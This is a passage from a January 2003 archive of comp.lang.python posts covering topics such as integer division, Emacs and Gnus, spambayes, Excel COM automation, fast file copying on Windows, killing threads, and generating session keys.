> I installed the apache web server on my XP laptop and guess what, it
> works :)  Had to change a .conf script though in typical unix style to
> enable CGI.  So the POST problems with IE are over now.

If you're running your application as a cgi, that will slow it down
some under heavy loads, but that may not be a problem for you.



From cben at techunix.technion.ac.il  Tue Jan  7 13:29:26 2003
From: cben at techunix.technion.ac.il (Beni Cherniavsky)
Date: Tue, 7 Jan 2003 20:29:26 +0200
Subject: Numeric array and for loops problem
In-Reply-To: <avena7$3fu$1@news.tpi.pl>
References: <c5598079.0301060856.4012672b@posting.google.com>
 <Ef-cnQWRn8_oU4SjXTWc3A@comcast.com> <c5598079.0301070529.7a15d75f@posting.google.com>
 <avena7$3fu$1@news.tpi.pl>
Message-ID: <Pine.GSO.4.44_heb2.09.0301072026110.23663-100000@techunix.technion.ac.il>

On 2003-01-07, Wojtek Walczak wrote:

> Dnia 7 Jan 2003 05:29:48 -0800, Stan napisa?(a):
> >y += 1/2
> > Doesn't work.. i'm sorry for this stupid question but i'm quite new to
> > programming
> Try: y += 1/2.0
>
Putting the line ``from __future__ import division`` at the top of the
file is better yet.  It's intended precisely to make it less surprising
for new programmers and since this will one (far) day become the default
behaviour, I think using this "import" is the best thing to to recommend.

-- 
Beni Cherniavsky <cben at tx.technion.ac.il>




From pyth at devel.trillke.net  Fri Jan 31 13:13:12 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Fri, 31 Jan 2003 19:13:12 +0100
Subject: mention of books & extensions welcome, or...? (was Re: Scripting *of* Python)
In-Reply-To: <soy_9.151609$AA2.6131659@news2.tin.it>; from aleax@aleax.it on Fri, Jan 31, 2003 at 05:30:00PM +0000
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it> <yyyvg05kzne.fsf@adams.patriot.net> <soy_9.151609$AA2.6131659@news2.tin.it>
Message-ID: <20030131191312.G10804@prim.han.de>

Alex Martelli wrote:
> <posted & mailed>
> 
> I was slightly surprised to read the following...:
> 
> Nick Vargish wrote:
> 
> > Alex Martelli <aleax at aleax.it> writes:
> > 
> >> (Which is why I managed to put in a LITTLE coverage of Twisted,
> >> just twisted.internet actually, in "Python in a Nutshell" --
> >> which I should be busy proofreading _right now_ rather than
> >> skimming c.l.py -- it should be in bookstores in March...)
> > 
> > This thread is just full of product placement.
> > 
> > *grumble*
> 
> Is this just an isolated opinion, with most readers still
> welcoming mentions and details about Python books and
> extension packages; or, has comp.lang.python's consensus
> shifted so drastically, so fast, so that such mentions are
> now seen as undesirable "product placement"???

I can understand Nick's reaction.  But I am also sure that 
most people like to hear details about your and other 
efforts.  Probably it is amount and context of the 'placements' 
which make a difference.  I usually dislike those placements if
they are repeated often (signatures are quite ok, though). 

Anyway, I'd have prefered if you reacted to Nick instead
of pushing the case to all of "comp.lang.python" for judgement.

    holger




From martin at v.loewis.de  Wed Jan 15 20:33:02 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 16 Jan 2003 02:33:02 +0100
Subject: Binary search
In-Reply-To: <b050t9$vtp$0@216.39.172.122>
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be> <b03sui$shn$1@news.netpower.no> <m3n0m2e4ih.fsf@mira.informatik.hu-berlin.de> <b050t9$vtp$0@216.39.172.122>
Message-ID: <3E260BCE.5060201@v.loewis.de>

Bengt Richter wrote:
> I misunderstood the same way ;-) The title "Binary search" didn't primarily
> suggest binary data to me.

In German, "Bin?rsuche" would suggest binary data, whereas "bin?re 
Suche" would suggest binary search. Both seem to translate naturally to 
"binary search". I guess in Flemish, the problem is similar, hence the 
misunderstanding.

Regards,
Martin





From fonso at aturuxo.net  Mon Jan 13 04:31:12 2003
From: fonso at aturuxo.net (=?iso-8859-1?Q?Afonso_Fern=E1ndez_Nogueira?=)
Date: Mon, 13 Jan 2003 10:31:12 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <f8rU9.1374$ob.536@nwrddc03.gnilink.net>
Message-ID: <009101c2bae6$83787830$0201a8c0@colesterol>

 Neil Schemenauer wrote:
> Doesn't anyone know of snakes that are smaller and faster than
> pythons?  I think "mamba" a pretty cool name (as in black mamba).
>
>
http://animal.discovery.com/fansites/wildkingdom/blackmamba/strike/strike.ht
ml
>
> "It is known as the fastest, longest, most aggressive and
> deadliest of all venomous snakes."

A beautiful name indeed. Unfortunately, it's taken by another Python project
:
http://mamba.sourceforge.net/ (an XML content manager)

cheers
fonso





From djc at object-craft.com.au  Sat Jan  4 01:09:55 2003
From: djc at object-craft.com.au (Dave Cole)
Date: 04 Jan 2003 17:09:55 +1100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <877kdmax29.fsf@gvdnet.dk> <3E16382D.48801EF9@alcyone.com> <p2re1vgd9c077mi7cpgjh3o7itsgnogoia@4ax.com>
Message-ID: <m3isx5v424.fsf@ferret.object-craft.com.au>

>>>>> "faust" == faust  <urfaust at optushome.com.au> writes:

faust>  Erik Max Francis <max at alcyone.com> , emitted these fragments:
>> It's also possible there are different metrics for "learning curve"
>> being used here.  If you were to insist that learning curve apply
>> to _all_ of emacs' features, then yes, obviously it has a massive
>> learning curve simply because there are so many.

faust> Good point.

faust> I use emacs as my only editor.  I use emacs eshell as my only
faust> commandshell ( when in XP or NT ) I use emacs calc as my sole
faust> calculator I use emacs calendar as my sole calendar.

faust> However, I am not familiar enough with gnus to use it as my
faust> sole email and news reader.

faust> Some day, when I have learned enough about gnus, I hope to do
faust> so....

Gnus is a pain in the freckle to set up, but once you have it going it
can't be beat.  Assuming of course you are already an Emacs user.  If
you do give Gnus another go, make sure you try using bbdb (big brother
database) with it.

- Dave

-- 
http://www.object-craft.com.au



From ceej at spies.com  Wed Jan 29 17:46:33 2003
From: ceej at spies.com (C J Silverio)
Date: 29 Jan 2003 14:46:33 -0800
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com>
Message-ID: <a70f5074.0301291446.7dadc138@posting.google.com>

Chris Spencer <clspence at one.net> wrote in message news:<rulk2v0346as3faklg246o9ct42n359t2u at 4ax.com>...
| 	I want to thank the maintainers of the spambayes library (module?
| utility?).  You've made my life a little better today.

spambayes does rock. I'm using it with procmail, and it's almost been
set and forget. I periodically check my "unsure" mailbox, classify by
hand the few messages there, and blissfully read my spamless mail. So
good!

--ceej
http://www.ceejbot.com/



From cb at orcl.net  Mon Jan 20 16:09:40 2003
From: cb at orcl.net (Christian Bretterklieber)
Date: 20 Jan 2003 21:09:40 GMT
Subject: Unicode error in exefied Python script
References: <b0ft3r$omcf2$1@ID-75629.news.dfncis.de> <m3ptqs42vw.fsf@mira.informatik.hu-berlin.de>
Message-ID: <b0hoij$oue1k$1@ID-75629.news.dfncis.de>

Martin v. L?wis <martin at v.loewis.de> wrote:

> If you haven't changed the system default encoding, you should find
> out why the script works when run with an installed Python. Inspect
> the line that causes the exception, and find out whether you are
> converting byte \x80 to a Unicode string. If this won't happen, you
> are just using different data in both cases.

  I have now found the difference. When I execute the script,
sys.getdefaultencoding() returns 'cp1252'. After creating a .exe file, the
output is 'ascii'. Creating the sitecustomize.py and even calling
sys.setdefaultencoding() directly in site.py did not have any impact
whatsoever.

  Is there another simple method to set the default encoding? And what
might be the cause for the exefied script to have a different encoding?

TIA,

c/hris.

-- 
This is Linux country. If you listen carefully, you can hear Windows reboot..



From vanevery at 3DProgrammer.com  Wed Jan 29 23:15:04 2003
From: vanevery at 3DProgrammer.com (Brandon Van Every)
Date: Thu, 30 Jan 2003 04:15:04 GMT
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <3E3724FF.8358506E@engcorp.com> <u2MZ9.2132$wd2.169355@newsread2.prod.itd.earthlink.net> <3E37EFC0.62499650@engcorp.com>
Message-ID: <cF1_9.3824$wd2.301788@newsread2.prod.itd.earthlink.net>

Peter Hansen wrote:
> Brandon Van Every wrote:
>>
>> I see no primary purpose for Python's existence other than as a glue
>> language.
>
> I would have responded at more length, but thankfully Erik Max Francis
> posted first and pointed out the (what should have been to me)
> obvious: you're trolling.

Oh please fuck off.  Erik Max Francis has been in my killfile for a long
time.  And now you are too: I can't stand people who read someone else's
opinion and answer "You're trolling!" in order to shut it down.

--
Cheers,                         www.3DProgrammer.com
Brandon Van Every               Seattle, WA

20% of the world is real.
80% is gobbledygook we make up inside our own heads.




From cnoviello at hotmail.com  Thu Jan  9 05:58:53 2003
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Thu, 09 Jan 2003 11:58:53 +0100
Subject: SOAP for Python
Message-ID: <avjkn1$2ql$1@news.unina.it>

Hello,
a very simple question: what is the best SOAP 1.1 implementation for Python?

Thanks in advance.

Carmine Noviello



From ruses at users.snip.snip.ch  Mon Jan 13 09:40:00 2003
From: ruses at users.snip.snip.ch (Uly55e5)
Date: Mon, 13 Jan 2003 15:40:00 +0100
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann]
  Minimal Python project)
References: <mailman.1042436962.21167.python-list@python.org> <7xznq57esm.fsf@ruckus.brouhaha.com> <pan.2003.01.13.06.21.14.949768@uchicago.edu> <3E225D2A.BB5C3FC@alcyone.com>
Message-ID: <3E22CFC0.8070300@users.snip.snip.ch>

Erik Max Francis wrote:
> 
> Now that's _really_ the wrong direction to head in.  It's geeky enough
> that it's named after Monty Python, isn't it?
> 

So what about "Monty" ? In any case, snakes leave no
footprints, kind of axiomatic, so seeking a snake
with less footprint than a python is doomed to fail.




From sholden at holdenweb.com  Tue Jan 21 19:18:57 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 22 Jan 2003 00:18:57 GMT
Subject: license
References: <mailman.1043181641.24605.python-list@python.org>
Message-ID: <RrlX9.32320$bs2.21757@news2.central.cox.net>

"Cliff Wells" <LogiplexSoftware at earthlink.net> wrote in message
news:mailman.1043181641.24605.python-list at python.org...
> On Tue, 2003-01-21 at 06:16, Arthur wrote:
> > |"Arthur" <ajs at i...> wrote previously:
> > ||>BTW, you still haven't mentioned the package. Tell me THE
||PACKAGE!!! ;)
> >
> > ||I am *never* discrete.
> > ||But at my age, an opportunity for a new experience is rare.
> >
> > To which the good doctor adds,
> >
> > |s/discrete/obnoxious/
> > |s/rare/elsewhere/
> >
> > The beauty of this is that I don't know what it means.
> >
> > I suspect I might.
> >
> > The fact that it is composed as a message from the initiated
> > to the intitiated - says enough.
> >
> > My alienation from the community would decrease if it
> > credited itself less for being something other than that.
>
> Art,
>
> I'm going to pipe up here and say that, despite all the disagreeing and
> having been attacked on several fronts (I'm disregarding for the moment,
> who is right or wrong about the issue in dispute), you've handled
> yourself very well, and if others can't respect you for *that*, despite
> disagreeing with your POV, then that reflects badly on them, not you.
>
> Have a nice day,
>

And  *I'm* going to pipe up to educate Art on the true meaning of the
addition by "the good doctor" (when used as a sed script). Art: s/x/y/ means
"replace x with y". So the edit would turn what you wrote into:

I am *never* obnoxious
But at my age, an opportunity for a new experience is elsewhere

Whether this actually means anything, and whether it's what was intended,
only someone else can say.

As far as the "somebody's crummy almost-null distribution craps on the
Python docs" issue, make them eat it! Good on yer, mate.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From amorgan at Xenon.Stanford.EDU  Fri Jan 31 13:06:42 2003
From: amorgan at Xenon.Stanford.EDU (Alan Morgan)
Date: Fri, 31 Jan 2003 18:06:42 +0000 (UTC)
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043956135.5480.python-list@python.org> <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net> <m3of5yf6hs.fsf@ferret.object-craft.com.au>
Message-ID: <b1edvi$iso$1@Xenon.Stanford.EDU>

In article <m3of5yf6hs.fsf at ferret.object-craft.com.au>,
Dave Cole  <djc at object-craft.com.au> wrote:

>Ahhh yes, the excellent safety net of the compiler/linker.  It
>compiles, my work is done...
>
>- - calculate-wage.c - - - - - - - - - - - - - - - - - - - - -
>#include <stdio.h>
>
>float calculate_weekly_wage(float hours, float rate)
>{
>    if (hours > 37.5)
>	return 37.5 * rate + (37.5 - hours) * rate * 1.5;
>    return hours * rate;
>}
>
>int main(int argc, char *argv[])
>{
>    float hours = 45.0;
>    float rate = 10.0;
>
>    printf("Worked %.2f hours at $%.2f hourly rate.\n", hours, rate);
>    printf(" -> wage (including overtime) is $%.2f.\n",
>	   calculate_weekly_wage(hours, rate));
>    return 0;
>}
>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>
>% cc calculate-wage.c -o calculate-wage   
>% ./calculate-wage 
>Worked 45.00 hours at $10.00 hourly rate.
> -> wage (including overtime) is $262.50.
>
>What!!!  How can that be!!!  It passed through the compiler/linker
>safety net.

It's obvious.  You had the arguments to calculate_weekly_wage backwards.

You should have written

    printf(" -> wage (including overtime) is $%.2f.\n",
	   calculate_weekly_wage(rate, hours));

Alan
-- 
Defendit numerus



From kaz at ashi.footprints.net  Fri Jan 24 02:26:42 2003
From: kaz at ashi.footprints.net (Kaz Kylheku)
Date: 23 Jan 2003 23:26:42 -0800
Subject: XML vs Python?
References: <slrnb293jk.1hr.nthomas@rain.cise.ufl.edu>
Message-ID: <cf333042.0301232326.582ac37@posting.google.com>

"N. Thomas" <nthomas at cise.ufl.edu> wrote in message news:<slrnb293jk.1hr.nthomas at rain.cise.ufl.edu>... 
> I then realized that I could have instead stored my data in a Python
> data structure (nested lists, dictionaries, etc.), and have some
> function (i.e. p2xml() and xml2p()) that would convert to and from XML.

Do you know that Lisp programmers have been storing data as nested
lists for forty years? You have rediscovered the wheel.



From ahopkins at dynacare.com  Mon Jan 20 15:16:39 2003
From: ahopkins at dynacare.com (Albert Hopkins)
Date: Mon, 20 Jan 2003 14:16:39 -0600
Subject: Python spreadsheet
References: <b0hi2e$jh0$1@news.tpi.pl>
Message-ID: <pan.2003.01.20.20.16.38.910452@dynacare.com>

There is a python plugin for Gnumeric (GNOME) that has the ability to
script Gnumeric in Python.   I've never used it however, so I have no idea
how (well) it works.

--a 



On Sat, 18 Jan 2003 19:48:12 +0100, frasi wrote:

> Is there any opensource spreadsheet written in Python? If not it would be
> great project  to develop with a new wxGrid control, Python as macro
> language, cross-platform etc..



-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From mikeb at MITRE.ORG  Tue Jan 21 17:42:23 2003
From: mikeb at MITRE.ORG (Mike Brenner)
Date: Tue, 21 Jan 2003 17:42:23 -0500
Subject: Python, COM & Excel
Message-ID: <3E2DCCCF.EFFEDB06@mitre.org>

DP > I'm doing some work with Python, & COM integration (win32all v. 1.52
> installed with Pthon 2.2.2). I'm having a difficult time getting
> started. Some of the functions/objects I expect will work don't, others
> work in unexpected ways. I'd very much appreciate pointers, sample
> scripts, etc. from individuals who have had better luck with Python &
> Excel integration. I'm working primarily with Excel 2000 and MS Word. I
> hope to be able to figure things out myself later, pointers will be
> appreciated.


We all would like some working scripts to do the hard stuff, although
the easy stuff is in the examples that come with Python. Most of
the problem is that COM is very slow and the object model
is very undocumented and incomplete, especially for the lesser
used options. However, be of good cheer, because every other 
Office product is even less documented than Excel (the least
documented being Microsoft Project).

What is needed is mostly: for each action you can take in 
Excel, here is where it is in the object model.

I will share what I have learned. Do you have any specific
questions.


Thomas > There is a different way to 
> combine MS-Office and Python: XML.
> Write yourself a small SAX parser 
> and change the things you want to
> change and then write it back to XML. 

Hi Tom, 

I understand that xml goes well with Python; 
however, I don't understand how xml integrates
well with MS-Office, particularly EXCEL.

If I have an Excel Spreadsheet, are you saying
that there is a way to get it into XML and 
that there is away to get that XML back into EXCEL?

I would like to know how to do that, particularly
with merged cells, cells with different borders
from their neighbors, filters, and macros.

(Note that POI, the Jakarta Java interface that reads excel
files into Java, does not do so well on merged cells, 
and borders are notoriously undocumented, yet
and important means of adding a dimension onto 
a spreadsheet. It would be great if there were
a means of going back and forth between Excel and
XML, because then Python would have the full power
of EXCEL. Of course, I realize that I can read in 
a csv file with simple numbers and no attributes,
but that is not a very complete "integration" with
Excel.)

Mike





From donn at u.washington.edu  Wed Jan 29 14:35:13 2003
From: donn at u.washington.edu (Donn Cave)
Date: 29 Jan 2003 19:35:13 GMT
Subject: spambayes rocks
References: <rulk2v0346as3faklg246o9ct42n359t2u@4ax.com>         <87fzre2xth.fsf@zamazal.org>         <R8wZ9.31972$Vh.21432@news2.central.cox.net>         <87n0lkju8o.fsf@zamazal.org> <mailman.1043865576.2481.python-list@python.org>
Message-ID: <b19adh$33a0$1@nntp6.u.washington.edu>

Quoth Skip Montanaro <skip at pobox.com>:
|
|     Milan> I've only clarified that solutions like spambayes help not only
|     Milan> us, but also spammers.
|
| For systems like SpamAssassin, where the database of spam/ham information is
| stored centrally, I agree.  Spammers "only" have to tweak their messages to
| thwart the contents of a single database.  With Spambayes and other similar
| systems, spammers have no access to the spam/ham information, as it's stored
| person-by-person.  If they are able to craft messages which are good enough
| to sneak by, I suspect it's quite possible they are selling something I
| might actually be interested in or know a hell of a lot about me.

You may have missed his original message.  The way I read it, and
I agree, the point is that spam filters are a band-aid that works
for the spammers by placating what would otherwise be vociferous
opponents that could cause real trouble for them.

We hard core computer users can all put in totally effective spam
filters, and there will still be millions getting the stuff.  For
all that we're going to bite on any of the spam, I'm sure the spammers
won't miss us anyway.  But meanwhile, we become not just indifferent
to the problem, worse we may have an investment in it as many of us
would rather have an ugly problem and a neat fix than just have no
particular problem to start with.  If we have clients, we like being
able to help them in such a noticeable way.

A real solution means going after these people and their support, and
shut them down.

|     Milan> In a longer term, we have to find much more efficient combat
|     Milan> methods against spammers.
|
| I assume by "efficient" you mean closer to 100% accuracy.

Or maybe he literally meant efficient.  The efficient place to stop
the flow is not at the destination.

	Donn Cave, donn at u.washington.edu



From BranimirPetrovic at yahoo.com  Thu Jan  9 23:04:01 2003
From: BranimirPetrovic at yahoo.com (Branimir Petrovic)
Date: 9 Jan 2003 20:04:01 -0800
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP! Must choose  language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com> <mailman.1041907216.30028.python-list@python.org> <b11d1191.0301080827.48643491@posting.google.com> <uu1gh6gz3.fsf@fitlinxx.com>
Message-ID: <b11d1191.0301092004.2dc9509c@posting.google.com>

David Bolen <db3l at fitlinxx.com> wrote in message news:<uu1gh6gz3.fsf at fitlinxx.com>...
> BranimirPetrovic at yahoo.com (Branimir Petrovic) writes:
> 
> > Andy, would you mind showing the snippet of the critical part of your
> > "
just loads up each file and writes it to dest." statement. Not quite
> > see/understand what you mean (and how).
> 
> I expect from his comment that Andy literally reads the entire file
> into memory (e.g., open()s it and just calls read()), and then writes
> it out.  So a single iteration through Python code, but potentially a
> lot of memory usage.

That's how it appeared to me too, but wasn't really sure. Being new to
Python I am still on 'wobbly legs' when it comes to Pythonic (or
proper)
way of thinking. Now that I see it - I know exactly how :)

	while 1:
		block = source.read(BLOCKSIZE)
		if not block: break
		dest.write(block)



> > Having fair amount of scripting experience of what's (not) achievable
> > using M$ pathetic scripting approach (FileSystemsObject & cousins), 
> > I had impression that beating robocopy.exe using (any) scripting 
> > language is just not in cards.
> 
> Well, using the very high level COM scripting approach is going to
> have reasonably high overhead to instantiate the various objects along
> the way and then to actually issue the various calls amongst the
> objects.
> 

COM way of dealing with file system is not too bad providing simple 
requirements. As soon as anything more is expected - like large folder
structure traversal say looking for pattern matching or time stamp 
and size sampling, performance goes 'out of Window(s)'. Mandatory 
COM, variants, interpreted nature of program execution all that adds 
up killing any chance of getting acceptable (if not good) performance.
For instance - comparing and synchronizing two almost identical folder
structures not much more than 100-200 MB each containing few tens of
thousands files takes way, way too long while CPU 'sweats bullets' 
(at %100 usage). 

Very same task using compiled utility (like robocopy) does the job
so much faster. Did not take exact figures, but the difference feels
as if hundred times.

Wonderful thing about Python is that is as 'close to the metal' as
scripting language can possibly be by allowing API calls. I am aware 
that we are talking about Win32 subset, but nevertheless...


> For example, the following routine scans a directory tree to summarize
> numbers and sizes of contained files.  Originally, I implemented this
> with the more generic os.path.walk routine.  By moving to the more
> direct Win32 calls, and also avoiding some of the higher level path
> manipulation calls in favor of direct code, I was able to obtain an
> over 4 fold increase in performance.  It can process a filesystem with
> about 140,000 files (spread over a large number of directories) in
> about 4 minutes.  Or around 550-600 files/s including directory
> traversal.  Generally speaking - in a transfer process that's probably
> fast enough to keep your pipes busy :-)

Now that's a quite a performance for interpreted language! I will 
definitely try your sample and see how it compares.

I would prefer using Python if script performance can be tweaked
to get to within 1/2 or 1/3 of speed achievable using 'robocopy'. 
You see robocopy.exe is part of so called Server Resource Kit, and 
as such can not be freely distributed or used on all machines on
the network (1 system 1 license is the motto), otherwise I wouldn't
be shy to resort to simplest solution possible that gets the job 
done. Over time I adopted and perfected what I call shameless 
approach to scripting where as much as possible (and aesthetically 
digestible) I tend to use compiled utilities to do 'heavy lifting'. 
Libraries that come with Python look very very good, so I might
be able to kick this questionable habit after all.

David thank you very much for samples, explanations and the time
you spent doing it. 

Branimir



From pedronis at bluewin.ch  Fri Jan  3 18:35:33 2003
From: pedronis at bluewin.ch (Samuele Pedroni)
Date: Sat, 4 Jan 2003 00:35:33 +0100
Subject: Multiple dispatch again
References: <mailman.1041492423.21345.python-list@python.org> <3e14589e_5@news.bluewin.ch> <mailman.1041585365.7351.python-list@python.org> <3e159dcc_2@news.bluewin.ch> <mailman.1041622110.1975.python-list@python.org> <3e15fae2$1_2@news.bluewin.ch> <mailman.1041633502.6402.python-list@python.org>
Message-ID: <3e161eb2$1_1@news.bluewin.ch>

"David Mertz" <mertz at gnosis.cx> ha scritto nel messaggio
news:mailman.1041633502.6402.python-list at python.org...
>
> Is there a (good) reason for this change, or could it be an artifact of
> the alpha version?  I don't have 2.3 installed myself.
>

See

http://www.python.org/doc/2.3a1/whatsnew/node14.html

"* The method resolution order used by new-style classes has changed, ..."

http://www.python.org/2.2.2/descrintro.html#mro









From max at alcyone.com  Sat Jan 25 22:54:18 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 25 Jan 2003 19:54:18 -0800
Subject: Python newbie looking into communications...
References: <ELHY9.123260$GF.30808722@twister.columbus.rr.com> <3E3354E0.8225F233@engcorp.com>
Message-ID: <3E335BEA.5F8C261F@alcyone.com>

Peter Hansen wrote:

> There's a reason much more code uses TCP than UDP.  If you need
> reliable transmission of data, using UDP is *not* what you want.

And furthermore, to implement what you want in UDP would be in effect
rewriting TCP.  So you should just be using TCP in the first place.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ No one knows what he can do until he tries.
\__/ Publilius Syrus
    Bosskey.net: Return to Wolfenstein / http://www.bosskey.net/rtcw/
 A personal guide to Return to Castle Wolfenstein.



From andrew-pythonlist at puzzling.org  Tue Jan 28 06:26:03 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Tue, 28 Jan 2003 22:26:03 +1100
Subject: Can you do it faster? (parsing text file)
In-Reply-To: <3e3650fc.2103718@news.easynews.net>
References: <3e3650fc.2103718@news.easynews.net>
Message-ID: <20030128112603.GA10273@frobozz.local>

On Tue, Jan 28, 2003 at 11:16:04AM +0000, Marcus Stojek wrote:
> Hi,
> 
> I have to parse large txt-files (15Mb and more, 200000 lines).
> The file consits of comma separated keywords and alphanumerical data.

While I see you have some quirky requirements, I'd recommend:
  - Use the CSV to parse the fields:
    http://www.object-craft.com.au/projects/csv/
  - Read the file with "for line in myFile:"  (you're using Python 2.2, I
    presume?)

I suspect with those you could get a nice speed boost.  You could also try
mucking around with Psyco and/or the Python 2.3 alpha (Python 2.3 is faster
than older versions).

There's various other micro-optimisations that could be made, but they're
probably not worth it.

-Andrew.





From peter at engcorp.com  Fri Jan 24 10:31:14 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 10:31:14 -0500
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de>
Message-ID: <3E315C41.35348508@engcorp.com>

Uwe Schmitt wrote:
> 
> But what if I want to end a thread which hangs because
> it uses 'exec' on some code which loops forever ?

What does the code do in the loop?  If it calls some other
routines, you could perhaps find a way to dynamically insert
a "raise SystemExit()" into that subroutine, thereby causing
the thread to terminate (assuming it does *not* catch this
exception!) even without changing the code therein.

If you're worried about some kind of denial of service type
thing with code written by someone else: you're out of luck.
Don't use Python.  (Or, better yet, get over the worry and just
accept this possibility.)

> I discovered the _Thread__stop() method of threading.Thread object.
> It works. But that seems to be some dirty hack...

As Martin said, it does not work for what you want.  It's just 
an internal utility function called *when a thread is already
stopping*.

-Peter



From max at alcyone.com  Wed Jan 29 22:03:42 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 29 Jan 2003 19:03:42 -0800
Subject: Newbie: anything resembling static?
References: <mailman.1043870531.24472.python-list@python.org>
Message-ID: <3E38960E.B7F85272@alcyone.com>

anton wilson wrote:

> Is there any way of imitating "static" C function variables without
> having to
> define the variable as a global? I just want persistent function
> variables
> but i want them to be local to the function namespace. :S

Not explicitly.  You can use a global but prefix it with an underscore
(a convention in Python that says "hands off").  You could also include
an additional argument with a (mutable) default value which you don't
mention in your API and use it that way, but I personally would
discourage that idiom for this usage since I find it to be a little
unclear.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The work will teach you how to do it.
\__/ (an Estonian proverb)
    Python chess module / http://www.alcyone.com/pyos/chess/
 A chess game adjudicator in Python.



From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 00:57:18 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 21:57:18 -0800
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com> <47e891f1.0301282114.725a2066@posting.google.com>
Message-ID: <7xptqgbirl.fsf@ruckus.brouhaha.com>

trevp at trevp.net (Trevor Perrin) writes:
> you're right, with normal integers I don't think there's a
> vulnerability, there would only be one if the appended values could
> somehow have a prefix that matched a previous value's SHA1 padding. 
> Still, hmac's cheap and easy, it's a good habit to always use it for
> keyed hashing, so you don't have to worry about this sort of nuance
> (I'm sure you know this, just for anyone following along)..

Yeah, I guess so, there's not exactly a big performance bottleneck to
worry about in this situation.  I think the appending attack is
irrelevant anyway though, since the token is not being used as a MAC.
A token isn't automatically valid just because it was made with the
right key.  It has to belong to an actual session currently active in
the server.

> Sorry for being vague - by a "good random" value I meant one from egd,
> or hardware, or from polling and mixing together a bunch of OS values,
> thread timings, etc..  These "good random" values are usually
> expensive to get or there's not that many of them, so if you needed
> lots of them to use as session identifiers, you'd probably get one
> once for use as a key, then use repeated hashing (your demonstration)
> or ciphering (my demonstration) to get subsequent values, and reseed
> with a "good random" value periodically.

If you can seed a CPRNG with enough physical entropy to make the
initial state unguessable, I'm ok with calling the subsequent output
"good random".

> As for getting these "good random" values on different systems, the
> paper below has a pretty good discussion of the issues involved, and
> the techniques are implemented in cryptlib so you can see what the
> code looks like:
> 
> http://www.cs.auckland.ac.nz/~pgut001/pubs/usenix98.pdf
> http://www.cs.auckland.ac.nz/~pgut001/cryptlib/

You might also look at the Yarrow paper on counterpane.com.  But this
stuff is extremely tricky to get right.  It's better to just use OS
services, which are now provided on most platforms where it matters.
The services are generally based on techniques like the ones in those
papers, and written with an intimate knowledge of the intended
platform.  It's really not practical for Python to directly attempt
that stuff.  



From adalke at mindspring.com  Wed Jan  8 19:08:21 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 08 Jan 2003 17:08:21 -0700
Subject: Comments on base52 encoder/decoder ?
In-Reply-To: <7xhecjsea0.fsf@ruckus.brouhaha.com>
References: <avcvbj$imq$0@216.39.172.122> <7x4r8jbui3.fsf@ruckus.brouhaha.com> <avhn7c$age$0@216.39.172.122> <7xhecjsea0.fsf@ruckus.brouhaha.com>
Message-ID: <avievs$8n0$1@slb6.atl.mindspring.net>

Paul Rubin:
> I've sometimes thought there should be a function for splitting a long
